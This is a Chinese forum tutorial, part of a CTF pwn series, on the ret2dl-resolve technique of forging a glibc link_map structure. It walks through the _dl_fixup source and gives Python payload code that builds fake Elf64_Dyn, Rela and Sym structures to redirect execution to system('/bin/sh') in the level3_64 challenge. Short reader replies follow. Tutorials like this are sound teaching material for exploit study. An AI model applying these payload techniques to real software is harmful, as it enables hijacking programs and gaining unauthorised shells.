    由于各种保护方式的普及,现在能碰到No RELRO的程序已经很少了,因此上节所述的攻击方式能用上的机会并不多,所以这节我们介绍另外一种方式——通过伪造link_map结构体进行攻击。
    在前面的源码分析中,我们主要把目光集中在未解析过的函数在_dl_fixup的流程中而忽略了另外一个分支。

    _dl_fixup (
    # ifdef ELF_MACHINE_RUNTIME_FIXUP_ARGS
               ELF_MACHINE_RUNTIME_FIXUP_ARGS,
    # endif
               struct link_map *l, ElfW(Word) reloc_arg)
    {
      ………… //变量定义,初始化等等
      if (__builtin_expect (ELFW(ST_VISIBILITY) (sym->st_other), 0) == 0) //判断函数是否被解析过。此前我们一直利用未解析过的函数的结构体,所以这里的if始终成立
       …………
          result = _dl_lookup_symbol_x (strtab + sym->st_name, l, &sym, l->l_scope,
                                        version, ELF_RTYPE_CLASS_PLT, flags, NULL);
    …………
        }
      else
        {
          /* We already found the symbol.  The module (and therefore its load
             address) is also known.  */
          value = DL_FIXUP_MAKE_VALUE (l, l->l_addr + sym->st_value);
          result = l;
        }
     …………
    }

    通过注释我们可以看到之前的if起的是判断函数是否被解析过的作用,如果函数被解析过,_dl_fixup就不会调用_dl_lookup_symbol_x对函数进行重定位,而是直接通过宏DL_FIXUP_MAKE_VALUE计算出结果。这边用到了link_map的成员变量l_addr和Elf32/64_Sym的成员变量st_value。这里的l_addr是实际映射地址和原来指定的映射地址的差值,st_value根据对应节的索引值有不同的含义。不过在这里我们并不需要关心那么多,我们只需要知道如果我们能使l->l_addr + sym->st_value指向一个函数的在内存中的实际地址,那么我们就能返回到这个函数上。但是问题来了,如果我们知道了system在内存中的实际地址,我们何苦用那么麻烦的方式跳转到system上呢?所以答案是我们不知道。我们需要做的是让l->l_addr和sym->st_value其中之一落在got表的某个已解析的函数上(如__libc_start_main),而另一个则设置为system函数和这个函数的偏移值。既然我们都伪造了link_map,那么显然l_addr是我们可以控制的,而sym根据我们的源码分析,它的值最终也是从link_map中获得的(很多节区地址,包括.rel.plt, .dynsym, dynstr都是从中取值,更多细节可以对比调试时的link_map数据与源码进行学习)

    const ElfW(Sym) *const symtab
        = (const void *) D_PTR (l, l_info[DT_SYMTAB]);
      const char *strtab = (const void *) D_PTR (l, l_info[DT_STRTAB]);
    
      const PLTREL *const reloc
        = (const void *) (D_PTR (l, l_info[DT_JMPREL]) + reloc_offset);
      const ElfW(Sym) *sym = &symtab[ELFW(R_SYM) (reloc->r_info)];

    所以这两个值我们都可以进行伪造。此时只要我们知道libc的版本,就能算出system与已解析函数之间的偏移了。
    说到这里可能有人会想到,既然伪造的link_map那么厉害,那么我们为什么不在前面的dl-resolve中直接伪造出.dynstr的地址,而要通过一条冗长的求值链返回到system呢?我们来看一下上面的这行代码

          result = _dl_lookup_symbol_x (strtab + sym->st_name, l, &sym, l->l_scope,
                                        version, ELF_RTYPE_CLASS_PLT, flags, NULL);

    根据位于glibc/include/Link.h中的link_map结构体定义,这里的l_scope是一个当前link_map的查找范围数组。我们从link_map结构体的定义可以看出来其实这是一个双链表,每一个link_map元素都保存了一个函数库的信息。当查找某个符号的时候,实际上是通过遍历整个双链表,在每个函数库中进行的查询。显然,我们不可能知道libc的link_map地址,所以我们没办法伪造l_scope,也就没办法伪造整个link_map使流程进入_dl_lookup_symbol_x,只能选择让流程进入“函数已被解析过”的分支。
    回到主题,我们为了让函数流程绕过_dl_lookup_symbol_x,必须伪造sym使得ELFW(ST_VISIBILITY) (sym->st_other), 0) == 0,根据sym的定义,我们就得伪造symtab和reloc->r_info,所以我们得伪造DT_SYMTAB, DT_JMPREL,此外,我们得伪造strtab为可读地址,所以还得伪造DT_STRTAB,所以我们需要伪造link_map前0xf8个字节的数据,需要关注的分别是位于link_map+0的l_addr,位于link_map+0x68的DT_STRTAB指针,位于link_map+0x70的DT_SYMTAB指针和位于link_map+0xF8的DT_JMPREL指针。此外,我们需要伪造Elf64_Sym结构体,Elf64_Rela结构体,由于DT_JMPREL指向的是Elf64_Dyn结构体,我们也需要伪造一个这样的结构体。当然,我们得让reloc_offset为0.为了伪造的方便,我们可以选择让l->l_addr为已解析函数内存地址和system的偏移,sym->st_value为已解析的函数地址的指针-8,即其got表项-8。(这部分在源码中似乎并没有体现出来,但是调试的时候发现实际上会+8,原因不明)我们还是以~/XMAN 2016-level3_64/level3_64为例进行分析。
    首先我们来构造一个fake link_map

    fake_link_map_data = ""
    fake_link_map_data += p64(offset)                        # +0x00 l_addr offset = system - __libc_start_main
    fake_link_map_data += '\x00'*0x60
    fake_link_map_data += p64(DT_STRTAB)                #+0x68 DT_STRTAB
    fake_link_map_data += p64(DT_SYMTAB)                #+0x70 DT_SYMTAB
    fake_link_map_data += '\x00'*0x80
    fake_link_map_data += p64(DT_JMPREL)                #+0xf8 DT_JMPREL
    后面的link_map数据由于我们用不上就不构造了。根据我们的分析,我们留出来四个8字节数据区用来填充相应的数据,其他部分都置为0.
    接下来我们伪造出三个结构体
    fake_Elf64_Dyn = ""
    fake_Elf64_Dyn += p64(0)                                #d_tag
    fake_Elf64_Dyn += p64(0)                                #d_ptr
    
    fake_Elf64_Rela = ""
    fake_Elf64_Rela += p64(0)                                #r_offset
    fake_Elf64_Rela += p64(7)                                #r_info
    fake_Elf64_Rela += p64(0)                                 #r_addend
    
    fake_Elf64_Sym = ""
    fake_Elf64_Sym += p32(0)                                 #st_name
    fake_Elf64_Sym += 'AAAA'                                #st_info, st_other, st_shndx
    fake_Elf64_Sym += p64(main_got-8)         #st_value
    fake_Elf64_Sym += p64(0)                                 #st_size

    显然我们必须把r_info设置为7以通过检查。为了使ELFW(ST_VISIBILITY) (sym->st_other)不为0从而躲过_dl_lookup_symbol_x,我们直接把st_other设置为非0.st_other也必须为非0以避开_dl_lookup_symbol_x,进入我们希望要的分支。
    我们注意到fake_link_map中间有许多用\x00填充的空间,这些地方实际上写啥都不影响我们的攻击,因此我们充分利用空间,把三个结构体跟/bin/sh\x00也塞进去

    offset = 0x253a0 #system - __libc_start_main
    
    fake_Elf64_Dyn = ""
    fake_Elf64_Dyn += p64(0)                                                                #d_tag                从link_map中找.rel.plt不需要用到标签, 随意设置
    fake_Elf64_Dyn += p64(fake_link_map_addr + 0x18)                #d_ptr                指向伪造的Elf64_Rela结构体,由于reloc_offset也被控制为0,不需要伪造多个结构体
    
    fake_Elf64_Rela = ""
    fake_Elf64_Rela += p64(fake_link_map_addr - offset)                #r_offset        rel_addr = l->addr+reloc_offset,直接指向fake_link_map所在位置令其可读写就行
    fake_Elf64_Rela += p64(7)                                                                #r_info                index设置为0,最后一字节必须为7
    fake_Elf64_Rela += p64(0)                                                                #r_addend        随意设置
    
    fake_Elf64_Sym = ""
    fake_Elf64_Sym += p32(0)                                                                #st_name        随意设置
    fake_Elf64_Sym += 'AAAA'                                                                #st_info, st_other, st_shndx st_other非0以避免进入重定位符号的分支
    fake_Elf64_Sym += p64(main_got-8)                                                #st_value        已解析函数的got表地址-8,-8体现在汇编代码中,原因不明
    fake_Elf64_Sym += p64(0)                                                                #st_size        随意设置
    
    fake_link_map_data = ""
    fake_link_map_data += p64(offset)                        #l_addr,伪造为两个函数的地址偏移值
    fake_link_map_data += fake_Elf64_Dyn
    fake_link_map_data += fake_Elf64_Rela
    fake_link_map_data += fake_Elf64_Sym
    fake_link_map_data += '\x00'*0x20
    fake_link_map_data += p64(fake_link_map_addr)                #DT_STRTAB        设置为一个可读的地址
    fake_link_map_data += p64(fake_link_map_addr + 0x30)#DT_SYMTAB        指向对应结构体数组的地址
    fake_link_map_data += "/bin/sh\x00"                                        
    fake_link_map_data += '\x00'*0x78
    fake_link_map_data += p64(fake_link_map_addr + 0x8)        #DT_JMPREL        指向对应数组结构体的地址

    现在我们需要做的就是栈劫持,伪造参数跳转到_dl_fixup了。前两者好说,_dl_fixup地址也在got表中的第2项。但是问题是这是一个保存了函数地址的地址,我们没办法放在栈上用ret跳过去,难道要再用一次万能gadgets吗?不,我们可以选择这个

    把这行指令地址放到栈上,用ret就可以跳进_fix_up.现在我们需要的东西都齐了,只要把它们组装起来,pwn it!


    课后练习题和例题



    游客,如果您要查看本帖隐藏内容请回复

    本帖被以下淘专辑推荐:

    Debug The World
    66666666666666666666666666666666666666
    使用道具 举报 回复
    啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊
    使用道具 举报 回复
    这是更新的节奏吗 记得之前有发表过欸
    使用道具 举报 回复
    发表于 2018-8-28 19:20:40
    楼主写的教程真的细腻又好用!
    使用道具 举报 回复
    回帖要认真,老大很厉害。
    使用道具 举报 回复
    6666666666666666666
    使用道具 举报 回复
    感谢感谢感谢感谢
    使用道具 举报 回复
    发表于 2018-9-11 19:42:35
    感谢楼主的分享
    使用道具 举报 回复
    学习一下~
    使用道具 举报 回复
    发表于 2018-8-24 14:39:32
    学习一下,
    q 36222404 一起嗨啊
    使用道具 举报 回复
    学习一下~|
    使用道具 举报 回复
    发表于 2018-8-25 23:27:41
    感谢分享
    使用道具 举报 回复
    使用道具 举报 回复
    发表于 2018-8-28 09:39:39
    感谢分享
    使用道具 举报 回复
    make一记
    使用道具 举报 回复
    发表于 2018-9-1 16:27:20
    很不错的连载
    使用道具 举报 回复
    学习一下~
    使用道具 举报 回复
    发表于 2018-9-3 17:57:52
    使用道具 举报 回复
    12下一页
    发新帖
    您需要登录后才可以回帖 登录 | 立即注册